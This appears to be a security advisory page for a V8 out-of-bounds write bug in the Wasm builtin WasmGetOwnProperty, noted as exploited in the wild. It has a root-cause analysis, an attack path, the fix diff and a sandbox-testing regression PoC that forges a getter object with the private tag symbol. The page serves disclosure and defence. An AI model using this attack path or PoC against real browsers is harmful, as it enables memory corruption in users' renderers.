Medium chrome OOB ⚠️ Exploited in the wild 🔧 Commit mapped

Overview

Medium
Severity
CVSS
Yes
Exploited ITW
Fixed
Fix Status
ImpactOut of bounds write in V8
DescriptionOut of bounds write in V8
ComponentV8
Bug ClassOOB
Tracker543557673
Fix commit36079c36283a (v8/v8) +203/-53
CISA KEVNot listed
CreditedJihyeon Jeong (Compsec Lab, Seoul National University / Research Intern)
Disclosed2026-09-08

Background

`WasmGetOwnProperty`
A V8 builtin the Wasm runtime uses to read a private-symbol property (such as the exception tag) off a caught object without walking into full generic property machinery.
Private symbol
An internal, non-enumerable Symbol (e.g. wasm_exception_tag_symbol) that V8 uses to stamp and later recognize runtime objects like Wasm exceptions.
`GetPropertyWithReceiver`
A generic, transitioning property-load builtin that traverses the prototype chain and can invoke user-defined accessors (getters), i.e. run arbitrary JavaScript.
`OpEffects` / `kNeedsContext`
Compiler metadata (in builtin-call-descriptors.h) that tells Turboshaft whether a builtin call can allocate, throw, or has side effects, and whether it must be passed a Context.

Root Cause Analysis

The old WasmGetOwnProperty in wasm.tq was implemented as a transitioning Torque builtin that, on finding the property, delegated to GetPropertyWithReceiver, which walks the prototype chain and may invoke JavaScript getters. The Wasm catch lowering in both liftoff-compiler.cc and turboshaft-graph-interface.cc calls this builtin to fetch a caught exception’s tag symbol, and the optimizing compiler treats that call as effectively side-effect-free (it is only supposed to peek at a private symbol). The violated invariant is that this “get own property” operation must run no user code: an attacker-controlled object reaching the lookup could trigger a getter, running arbitrary JS during what the compiler modeled as an allocation-free, side-effect-free tag check, breaking the effect assumptions Turboshaft relies on and enabling out-of-bounds memory corruption.

The fix reimplements WasmGetOwnProperty as a CodeStubAssembler builtin (builtins-wasm-gen.cc) that performs a real own-property lookup via TryLookupPropertyInSimpleObject, explicitly rejects non-kData properties and lazy closures, and returns undefined instead of ever invoking an accessor. Because it no longer runs JS or needs a Context, the descriptor’s kNeedsContext is set to false and both call sites drop the native-context argument, restoring the guarantee that the builtin is genuinely side-effect-free.

Key insight
The single core mistake was implementing a builtin the compiler assumes has no side effects on top of GetPropertyWithReceiver, which can invoke JavaScript getters; the fix replaces it with a pure own-data-property lookup that returns undefined for accessors, so the “no side effects” contract actually holds.

Attack Path

  1. Reach the tag check Attacker Wasm code throws and catches an exception so the runtime invokes WasmGetOwnProperty to read the exception tag symbol.
  2. Substitute an accessor The object presented to the lookup carries the queried symbol as an accessor (or an object whose property path hits a getter) rather than a plain data property.
  3. Run JS mid-builtin The old GetPropertyWithReceiver path invokes that getter, executing attacker JavaScript during a call the optimizer modeled as pure and non-allocating.
  4. Break compiler assumptions The unexpected side effects (allocation, heap mutation, re-entrancy) violate Turboshaft’s effect model, invalidating optimizations around the call.
  5. Out-of-bounds write The mismatched assumptions lead to memory being written outside its intended bounds in the Wasm/V8 pipeline.

Impact Assessment

An attacker who can run Wasm (any web page driving the V8/Wasm engine in the renderer process) gains an out-of-bounds write inside the sandboxed renderer, a strong primitive toward memory corruption and potential code execution. Preconditions are modest: the ability to execute crafted WebAssembly that exercises exception catch handling and to control the object whose private symbol is queried. Severity is rated medium in the metadata, consistent with a renderer-context OOB write reachable from script.

Changed Functions

FunctionChangeNotes
TF_BUILTIN
src/builtins/builtins-wasm-gen.cc
modified

Files Changed

  • src/builtins/builtins-definitions.h
  • src/builtins/builtins-wasm-gen.cc
  • src/builtins/wasm.tq
  • src/compiler/turboshaft/builtin-call-descriptors.h
  • src/wasm/baseline/liftoff-compiler.cc
  • src/wasm/turboshaft-graph-interface.cc

Audit Directions

  • Side-effect-free builtins that reuse generic property loads
    Audit any builtin the compiler models as pure or non-allocating (kNoThrow, no CanAllocate) that internally calls GetPropertyWithReceiver, GetProperty, or other prototype-walking loads capable of invoking getters.
  • Own-property intent vs. prototype-chain reality
    Flag code that means “check an own private symbol” but is implemented with helpers that traverse the prototype chain or run accessors; require explicit kData/own-property checks like TryLookupPropertyInSimpleObject.
  • Effect-metadata drift
    Review builtin-call-descriptors.h entries where kEffects or kNeedsContext understate a builtin’s real behavior, and verify each Liftoff/Turboshaft call site’s argument list matches the builtin’s actual effect and context requirements.
From 36079c36283aaf3d0cee0797e46ddc278988f7f2 Mon Sep 17 00:00:00 2001
From: Jakob Kummerow <[email protected]>
Date: Tue, 11 Aug 2026 20:27:41 +0200
Subject: [PATCH] [wasm][sandbox] Fix side effects of WasmGetOwnProperty builtin

We want this builtin to have no side effects, so it should not
invoke any getters.

Fixed: 543557673
Change-Id: Ifa3c166e54f2084524c562ba2f57d55e0a51bff6
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8234942
Auto-Submit: Jakob Kummerow <[email protected]>
Commit-Queue: Jakob Kummerow <[email protected]>
Reviewed-by: Thibaud Michaud <[email protected]>
Cr-Commit-Position: refs/heads/main@{#109190}
---

diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 4197662..cd7a18b 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -1497,6 +1497,7 @@
   IF_WASM(TFC, WasmFloat64ToNumber, WasmFloat64ToTagged)                       \
   IF_WASM(TFC, WasmFloat64ToString, WasmFloat64ToTagged)                       \
   IF_WASM(TFC, JSToWasmLazyDeoptContinuation, SingleParameterOnStack)          \
+  IF_WASM(TFS, WasmGetOwnProperty, NeedsContext{false}, kObject, kSymbol)      \
                                                                                \
   /* WeakMap */                                                                \
   TFJ(WeakMapConstructor, kDontAdaptArgumentsSentinel)                         \
diff --git a/src/builtins/builtins-wasm-gen.cc b/src/builtins/builtins-wasm-gen.cc
index 92ffd89..3ba93d9 100644
--- a/src/builtins/builtins-wasm-gen.cc
+++ b/src/builtins/builtins-wasm-gen.cc
@@ -266,6 +266,71 @@
   return IsPageFlagSet(address, MemoryChunk::kInSharedHeap);
 }
 
+// Wasm uses private symbols (e.g. wasm_exception_tag_symbol) to stamp certain
+// objects. This builtin checks for presence of such symbols; it is a
+// specialization of "GetOwnProperty" behavior: if the object is not a plain
+// JS object or the property is not an own data property, return undefined.
+// To allow compilers to assume no side effects from this builtin, it's
+// particularly important to not invoke any getters.
+TF_BUILTIN(WasmGetOwnProperty, WasmBuiltinsAssembler) {
+  TNode<Object> object = Parameter<Object>(Descriptor::kObject);
+  TNode<Symbol> symbol = Parameter<Symbol>(Descriptor::kSymbol);
+
+  Label return_undefined(this, Label::kDeferred);
+
+  GotoIf(TaggedIsSmi(object), &return_undefined);
+  TNode<HeapObject> heap_object = CAST(object);
+
+  TNode<Map> map = LoadMap(heap_object);
+  TNode<Int32T> instance_type = LoadMapInstanceType(map);
+
+  GotoIfNot(IsJSReceiverInstanceType(instance_type), &return_undefined);
+  GotoIf(IsSpecialReceiverInstanceType(instance_type), &return_undefined);
+
+  TNode<JSObject> js_object = CAST(heap_object);
+
+  {
+    TVARIABLE(HeapObject, var_meta_storage);
+    TVARIABLE(IntPtrT, var_entry);
+    TVARIABLE(Object, var_value);
+    TVARIABLE(Uint32T, var_details);
+    Label if_found_fast(this), if_found_dict(this), got_value(this);
+
+    TryLookupPropertyInSimpleObject(
+        js_object, map, symbol, &if_found_fast, &if_found_dict,
+        &var_meta_storage, &var_entry, &return_undefined, &return_undefined);
+
+    BIND(&if_found_fast);
+    {
+      TNode<DescriptorArray> descriptors = CAST(var_meta_storage.value());
+      LoadPropertyFromFastObject(js_object, map, descriptors, var_entry.value(),
+                                 &var_details, &var_value);
+      Goto(&got_value);
+    }
+
+    BIND(&if_found_dict);
+    {
+      TNode<PropertyDictionary> dictionary = CAST(var_meta_storage.value());
+      LoadPropertyFromDictionary(dictionary, var_entry.value(), &var_details,
+                                 &var_value);
+      Goto(&got_value);
+    }
+
+    BIND(&got_value);
+    {
+      TNode<Uint32T> kind =
+          DecodeWord32<PropertyDetails::KindField>(var_details.value());
+      constexpr int kData = static_cast<int>(PropertyKind::kData);
+      GotoIfNot(Word32Equal(kind, Int32Constant(kData)), &return_undefined);
+      GotoIfLazyClosure(CAST(var_value.value()), &return_undefined);
+      Return(var_value.value());
+    }
+  }
+
+  BIND(&return_undefined);
+  Return(UndefinedConstant());
+}
+
 #include "src/codegen/undef-code-stub-assembler-macros.inc"
 
 }  // namespace v8::internal
diff --git a/src/builtins/wasm.tq b/src/builtins/wasm.tq
index 8c07ddd..09581b6 100644
--- a/src/builtins/wasm.tq
+++ b/src/builtins/wasm.tq
@@ -832,35 +832,6 @@
   return TargetAndImplicitArg{target: target, implicit_arg: implicitArg};
 }
 
-extern macro TryHasOwnProperty(HeapObject, Map, InstanceType, Name): never
-    labels Found, NotFound, Bailout;
-type OnNonExistent constexpr 'OnNonExistent';
-const kReturnUndefined: constexpr OnNonExistent
-    generates 'OnNonExistent::kReturnUndefined';
-extern macro SmiConstant(constexpr OnNonExistent): Smi;
-extern transitioning builtin GetPropertyWithReceiver(
-    implicit context: Context)(JSAny, Name, JSAny, Smi): JSAny;
-
-transitioning builtin WasmGetOwnProperty(
-    implicit context: Context)(object: Object, uniqueName: Name): JSAny {
-  try {
-    const heapObject: HeapObject =
-        TaggedToHeapObject(object) otherwise NotFound;
-    const receiver: JSReceiver =
-        Cast<JSReceiver>(heapObject) otherwise NotFound;
-    try {
-      TryHasOwnProperty(
-          receiver, receiver.map, receiver.instanceType, uniqueName)
-          otherwise Found, NotFound, NotFound;
-    } label Found {
-      return GetPropertyWithReceiver(
-          receiver, uniqueName, receiver, SmiConstant(kReturnUndefined));
-    }
-  } label NotFound deferred {
-    return Undefined;
-  }
-}
-
 // Trap builtins.
 
 builtin WasmTrap(error: Smi): JSAny {
diff --git a/src/compiler/turboshaft/builtin-call-descriptors.h b/src/compiler/turboshaft/builtin-call-descriptors.h
index e07a6f0e..c73e1d6 100644
--- a/src/compiler/turboshaft/builtin-call-descriptors.h
+++ b/src/compiler/turboshaft/builtin-call-descriptors.h
@@ -1123,14 +1123,10 @@
     using results_t = std::tuple<V<Object>>;
 
     static constexpr bool kNeedsFrameState = false;
-    static constexpr bool kNeedsContext = true;
+    static constexpr bool kNeedsContext = false;
     static constexpr Operator::Properties kProperties = Operator::kNoThrow;
-    // Calls {GetPropertyWithReceiver}, which has paths that can allocate,
-    // but from this caller we won't reach them. Nevertheless, to please the
-    // verifier we currently have no other choice than setting the CanAllocate
-    // effect here.
-    // TODO(dmercadier): Support overriding the automatic can-allocate
-    // inference.
+    // Can allocate a HeapNumber when it encounters a MutableHeapNumber. This
+    // won't happen in practice, but can-allocate verification detects it.
     static constexpr OpEffects kEffects =
         base_effects.CanReadHeapMemory().CanAllocate();
   };
diff --git a/src/wasm/baseline/liftoff-compiler.cc b/src/wasm/baseline/liftoff-compiler.cc
index db1d96e..adfe3bf 100644
--- a/src/wasm/baseline/liftoff-compiler.cc
+++ b/src/wasm/baseline/liftoff-compiler.cc
@@ -1868,16 +1868,12 @@
     LiftoffRegister tag_symbol_reg =
         pinned.set(__ GetUnusedRegister(kGpReg, pinned));
     LoadExceptionSymbol(tag_symbol_reg.gp(), pinned, root_index);
-    LiftoffRegister context_reg =
-        pinned.set(__ GetUnusedRegister(kGpReg, pinned));
-    LOAD_TAGGED_PTR_INSTANCE_FIELD(context_reg.gp(), NativeContext, pinned);
 
     VarState tag_symbol{kRef, tag_symbol_reg, 0};
-    VarState context{kRef, context_reg, 0};
 
     CallBuiltin(Builtin::kWasmGetOwnProperty,
-                MakeSig::Returns(kRef).Params(kRef, kRef, kRef),
-                {exception, tag_symbol, context}, kNoSourcePosition);
+                MakeSig::Returns(kRef).Params(kRef, kRef),
+                {exception, tag_symbol}, kNoSourcePosition);
 
     return LiftoffRegister(kReturnRegister0);
   }
diff --git a/src/wasm/turboshaft-graph-interface.cc b/src/wasm/turboshaft-graph-interface.cc
index 84d581c..5dc6fe2 100644
--- a/src/wasm/turboshaft-graph-interface.cc
+++ b/src/wasm/turboshaft-graph-interface.cc
@@ -3851,12 +3851,10 @@
 
     BindBlockAndGeneratePhis(decoder, block->false_or_loop_or_catch_block,
                              nullptr, &block->exception);
-    V<NativeContext> native_context = instance_cache_.native_context();
     V<WasmExceptionTag> caught_tag = V<WasmExceptionTag>::Cast(
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/sandbox/regress/regress-543557673.js b/test/mjsunit/sandbox/regress/regress-543557673.js
new file mode 100644
index 0000000..ddf0591
--- /dev/null
+++ b/test/mjsunit/sandbox/regress/regress-543557673.js
@@ -0,0 +1,125 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --sandbox-testing --allow-natives-syntax
+
+const moduleABytes = new Uint8Array([
+    0,   97,  115, 109, 1,   0,   0,   0,   1,   22,  5,   96,  0,   1,   127,
+    96,  1,   111, 0,   96,  0,   1,   111, 96,  1,   127, 1,   127, 96,  0,
+    1,   127, 2,   27,  2,   1,   109, 9,   102, 117, 110, 99,  116, 105, 111,
+    110, 115, 1,   112, 1,   1,   1,   1,   109, 3,   116, 97,  103, 4,   0,
+    1,   3,   3,   2,   3,   4,   4,   5,   1,   105, 1,   1,   1,   6,   32,
+    6,   127, 1,   65,  239, 0,   11,  127, 1,   65,  0,   11,  127, 1,   65,
+    0,   11,  127, 1,   65,  0,   11,  127, 1,   65,  0,   11,  127, 1,   65,
+    0,   11,  7,   30,  3,   10,  101, 120, 99,  101, 112, 116, 105, 111, 110,
+    115, 1,   1,   6,   100, 114, 105, 118, 101, 114, 0,   0,   4,   115, 101,
+    101, 100, 0,   1,   10,  48,  2,   41,  0,   65,  0,   17,  0,   0,   26,
+    32,  0,   4,   64,  2,   2,   31,  2,   1,   0,   0,   0,   65,  0,   37,
+    1,   10,  11,  11,  26,  65,  0,   36,  5,   65,  0,   17,  0,   0,   15,
+    11,  65,  0,   11,  4,   0,   65,  7,   11,  0,   22,  4,   110, 97,  109,
+    101, 1,   15,  2,   0,   6,   100, 114, 105, 118, 101, 114, 1,   4,   115,
+    101, 101, 100,
+]);
+const moduleDBytes = new Uint8Array([
+    0,  97, 115, 109, 1,  0,   0,   0,   1,   13,  3,  96,  0,   1,   127,
+    96, 0,  1,   127, 96, 0,   1,   127, 3,   4,   3,  0,   1,   2,   7,
+    10, 1,  6,   116, 97, 114, 103, 101, 116, 0,   2,  10,  17,  3,   4,
+    0,  65, 0,   11,  4,  0,   65,  1,   11,  5,   0,  65,  222, 1,   11,
+    0,  28, 4,   110, 97, 109, 101, 1,   21,  3,   0,  4,   112, 97,  100,
+    48, 1,  4,   112, 97, 100, 49,  2,   6,   116, 97, 114, 103, 101, 116
+]);
+
+const kHeapObjectTag = 1;
+const memory = new DataView(new Sandbox.MemoryView(0, 0x100000000));
+const read32 = address => memory.getUint32(address, true);
+const write32 = (address, val) => memory.setUint32(address, val >>> 0, true);
+const tagged = object => (Sandbox.getAddressOf(object) + kHeapObjectTag) >>> 0;
+
+function instanceTypeAt(address) {
+  try {
+    return Sandbox.getInstanceTypeOfObjectAt(address);
+  } catch (_) {
+    return undefined;
+  }
+}
+
+function descriptorArrayOf(object) {
+  const map = read32(Sandbox.getAddressOf(object)) & ~kHeapObjectTag;
+  const size = Sandbox.getSizeOfObjectAt(map);
+  for (let offset = 0; offset < size; offset += 4) {
+    const candidate = read32(map + offset) & ~kHeapObjectTag;
+    if (instanceTypeAt(candidate) === 'DESCRIPTOR_ARRAY_TYPE') return candidate;
+  }
+  throw new Error('descriptor array not found');
+}
+
+function findTaggedWord(objectAddress, expectedType, expectedValue) {
+  const size = Sandbox.getSizeOfObjectAt(objectAddress);
+  for (let offset = 0; offset < size; offset += 4) {
+    const value = read32(objectAddress + offset);
+    if (expectedValue !== undefined && value !== expectedValue) continue;
+    if (instanceTypeAt(value & ~kHeapObjectTag) === expectedType) {
+      return {offset, value};
+    }
+  }
+  throw new Error(`tagged ${expectedType} word not found`);
+}
+
+const table =
+    new WebAssembly.Table({element: 'anyfunc', initial: 1, maximum: 1});
+const d = new WebAssembly.Instance(new WebAssembly.Module(moduleDBytes));
+const a = new WebAssembly.Instance(new WebAssembly.Module(moduleABytes), {
+  m: {functions: table, tag: WebAssembly.JSTag},
+});
+if (d.exports.target() !== 222) throw new Error('D target sanity failed');
+
+// Recover the private exception-tag symbol from a genuine exception.
+const genuine =
+    new WebAssembly.Exception(new WebAssembly.Tag({parameters: []}), []);
+const genuineDescriptors = descriptorArrayOf(genuine);
+const hiddenTagSymbol = findTaggedWord(genuineDescriptors, 'SYMBOL_TYPE').value;
+
+let getterCount = 0;
+const forged = Object.defineProperty({}, 'x', {
+  get() {
+    ++getterCount;
+    table.set(0, d.exports.target);
+    return undefined;
+  },
+  configurable: true,
+});
+
+// Replace only the one-property donor descriptor's key. Its accessor details
+// and AccessorPair remain unchanged.
+const forgedDescriptors = descriptorArrayOf(forged);
+const xName = Object.getOwnPropertyNames(forged)[0];
+const descriptorKey = findTaggedWord(
+    forgedDescriptors,
+    Sandbox.getInstanceTypeOfObjectAt(Sandbox.getAddressOf(xName)),
+    tagged(xName));
+write32(forgedDescriptors + descriptorKey.offset, hiddenTagSymbol);
+
+// Put the ordinary JSReceiver into the backing FixedArray of the exported
+// Wasm-declared exnref table.
+const tableType = Sandbox.getInstanceTypeIdFor('WASM_TABLE_OBJECT_TYPE');
+const entriesOffset = Sandbox.getFieldOffset(tableType, 'entries');
+const fixedArrayType = Sandbox.getInstanceTypeIdFor('FIXED_ARRAY_TYPE');
+const fixedArrayDataOffset = Sandbox.getFieldOffset(fixedArrayType, 'data');
+const exnTableAddress = Sandbox.getAddressOf(a.exports.exceptions);
+const entries = read32(exnTableAddress + entriesOffset) & ~kHeapObjectTag;
+write32(entries + fixedArrayDataOffset, tagged(forged));
+
+// Only the first call_indirect site receives feedback and is inlined. The
+// second site remains uninitialized and therefore generic.
+table.set(0, a.exports.seed);
+for (let i = 0; i < 20; ++i) {
+  if (a.exports.driver(0) !== 0) throw new Error('training failed');
+}
+%WasmTierUpFunction(a.exports.driver);
+if (a.exports.driver(0) !== 0) throw new Error('optimized training failed');
+
+const result = a.exports.driver(1);
+const tableChanged = table.get(0) === d.exports.target;
+assertEquals(getterCount, 0);
+assertFalse(tableChanged);
Loading diff…

Original Bug Report

The reporter's bug is still restricted on the tracker. Chrome de-restricts security bugs ~30–90 days after the fix ships; a later run will backfill it here.